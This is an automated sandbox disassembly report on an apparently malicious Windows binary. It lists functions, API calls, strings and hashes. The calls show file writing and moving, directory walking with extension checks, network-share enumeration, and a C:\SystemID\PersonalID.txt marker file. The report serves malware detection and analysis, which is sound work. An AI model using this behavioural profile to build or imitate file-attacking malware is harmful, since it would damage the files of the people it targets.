API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4ae49f209f6475a8200da9094bd174a6e7cf262bc7a48cefe5d20c6bfdcbc766
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 4ae49f209f6475a8200da9094bd174a6e7cf262bc7a48cefe5d20c6bfdcbc766
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: df8966e02a3f9d03a816607f9624d87d989a2f119eda69976359c742cc2f312e
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: df8966e02a3f9d03a816607f9624d87d989a2f119eda69976359c742cc2f312e
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(00000000,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: bad3609ad615ec0fe5f5379fd9a4335ddd94e9fd1592faa856105229702b452d
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: bad3609ad615ec0fe5f5379fd9a4335ddd94e9fd1592faa856105229702b452d
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b9f202a46f54d295c2be6cc259b5f6dbd11e9afd298a7670df070f9b36d6038a
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b9f202a46f54d295c2be6cc259b5f6dbd11e9afd298a7670df070f9b36d6038a
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00420CF4 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00420D30
__flush.LIBCMT ref: 00420D3C
__write.LIBCMT ref: 00420D86

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __flush__getptd_noexit__lock_file__write
String ID:
API String ID: 1331135983-0
Opcode ID: 35b811d88357f77a415146c2eb23ccc7e4c6579287969227049f292d1e69e1b3
Instruction ID: c258a73fbdc8133854d5e811ea952fba0687a612e98e888965f4ed88a5c8c031
Opcode Fuzzy Hash: 35b811d88357f77a415146c2eb23ccc7e4c6579287969227049f292d1e69e1b3
Instruction Fuzzy Hash: 3911C821712B305AD6245B75BC4276E3A909F41734F94834FE4758A1C3CB2CA542475D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006B0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00413A90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413B0A

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Strings

vector<T> too long, xrefs: 00413B00

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID: vector<T> too long
API String ID: 657562460-3788999226
Opcode ID: 0ad4a0ca8fdadbc1a12cf66a996cd1011d67085deb4d362cb70db5a7c32d017b
Instruction ID: 58ba692ce99c870a1dcba0d104e91e6c126768a8e2c2fae69a1ad948a11fc536
Opcode Fuzzy Hash: 0ad4a0ca8fdadbc1a12cf66a996cd1011d67085deb4d362cb70db5a7c32d017b
Instruction Fuzzy Hash: F401F171200705ABD720CFACC09068BFBE8AF80725F20853FEA5583381EBB5E944C784

Uniqueness

Uniqueness Score: -1.00%

Function 00454C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454AE0: GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
Part of subcall function 00454AE0: GetFileType.KERNEL32(00000000), ref: 00454B05
Part of subcall function 00454AE0: __vfwprintf_p.LIBCMT ref: 00454B27

_raise.LIBCMT ref: 00454C18

Part of subcall function 0042A12E: __getptd_noexit.LIBCMT ref: 0042A16B

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00454C0C

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction ID: fa72e03f5863b2a05375eef283b674a1c5903e86e1e3734bc2555e426bc738f9
Opcode Fuzzy Hash: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction Fuzzy Hash: 6FD09E795892107FED022791EC07A1E7A51AF9471CF808419F69A041A2D6768534AA5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0040FF4D
_wcsstr.LIBCMT ref: 0040FF7E
_wcsstr.LIBCMT ref: 0040FFC4
_wcsstr.LIBCMT ref: 0040FFEF
_wcsstr.LIBCMT ref: 0041001C
FindNextFileW.KERNEL32(?,?), ref: 0041005A
FindClose.KERNEL32(?), ref: 0041006C

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: a7e50a4951556c5c228e04b98b4133f4cc9ba74acaa289d14fa9e3639e877083
Instruction ID: 5ab157793dcca273c0e587975c0a14bd2b460513ddb2d20d8000ed9fb441c990
Opcode Fuzzy Hash: a7e50a4951556c5c228e04b98b4133f4cc9ba74acaa289d14fa9e3639e877083
Instruction Fuzzy Hash: 30519D70D00219DAEF20DF60DD457DEBBB5BF15308F4040BAD40A66291EB7A9AC9CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00422310 Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042233F
__lock_file.LIBCMT ref: 00422360

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 445c070cf1acac955d9a39e82e15185871b6ddabc7e7101d962d1bf14f284458
Instruction ID: 3b27dc9081eeebfa63cadfeca7c4a7c62caa0de21db628116ac66ed60762724a
Opcode Fuzzy Hash: 445c070cf1acac955d9a39e82e15185871b6ddabc7e7101d962d1bf14f284458
Instruction Fuzzy Hash: 1B012831A00229FBCF21EFB6AD0189F7F61AF40364F84411BF82856191CB7C8662DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00423A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__lock_file.LIBCMT ref: 00423A7D

Part of subcall function 00420E53: __lock.LIBCMT ref: 00420E76

__fclose_nolock.LIBCMT ref: 00423A88

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction ID: e9f7363e2c125346a9344b83ccdc7017391740cbbddd1805e0fe7159b8e2b74d
Opcode Fuzzy Hash: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction Fuzzy Hash: 1EF0F631B01724AAD710AF66680275E6AB46F00339F90815FE4A09A1C1CB7C87428F59

Uniqueness

Uniqueness Score: -1.00%

Function 00423455 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00423489
__ftell_nolock.LIBCMT ref: 00423494

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: a58877e3c81c978aac49b68a69ce6642370298b1df27fe6dc33e2a282af8e7c9
Instruction ID: 59e75a8078918f59343bfa35d7b516265fdda4ca888474ce23baf8c01a16d0b8
Opcode Fuzzy Hash: a58877e3c81c978aac49b68a69ce6642370298b1df27fe6dc33e2a282af8e7c9
Instruction Fuzzy Hash: F2F0A731B02634EAD711BFB6B80275E66B05F41339F91468FF020EB1C2CF7C8A425A69

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 360932542-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00427B16,00000000,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,00000000,00000000), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 004118C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004118DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 004118E9

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction ID: a75cf17640dcbe18a091e0aebb8a692561bc66dfcc2ddf1384dfcaf55dfbf141
Opcode Fuzzy Hash: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction Fuzzy Hash: D1E08636B415049BC7209B99ECC0B9DB374F785720F20437AD919733D047352D028A58

Uniqueness

Uniqueness Score: -1.00%

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 3b7b0fc369f82dddc2ccaf18a852f1bb1e9a346ec1b2b182573c4b9e8e7e9711
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: 3b7b0fc369f82dddc2ccaf18a852f1bb1e9a346ec1b2b182573c4b9e8e7e9711
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00416760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 8642606c1552ecd819b8adc579047d7798922c573bb863da5b46e9a3389c0131
Instruction ID: efb258ddcfae47249c3acbfcaa5a8e986a9cbccba7edf1416c99c2e95f316cd5
Opcode Fuzzy Hash: 8642606c1552ecd819b8adc579047d7798922c573bb863da5b46e9a3389c0131
Instruction Fuzzy Hash: B83126B1A016019FDB24DF29C5807AEBBF4EB40364F104A2EE426977C0D738DA80C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 00416570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004165C5

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: 2edcca7392c82dc21db4b8ace527c4f1afab0509be4df627535b5f7c6d087114
Instruction ID: 5021f87c270b400a587bd724d9b61bde01bf534475f8b0cbfe068d44a909a5c2
Opcode Fuzzy Hash: 2edcca7392c82dc21db4b8ace527c4f1afab0509be4df627535b5f7c6d087114
Instruction Fuzzy Hash: A72124B5A00115DBCB14DF5CD981B9ABFA9EF45700F04822AEC058B348D738EA14CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0041FA25

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction ID: 74150d4eedde67828055b261a2b9f98274f0c47e32cd20f87c2cefabb50f2d8a
Opcode Fuzzy Hash: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction Fuzzy Hash: F1D05E322883147BE3140A9AAC06F867AC88B15B20F00403AB609DA1C0D9A1A8108A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0041FDA4

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
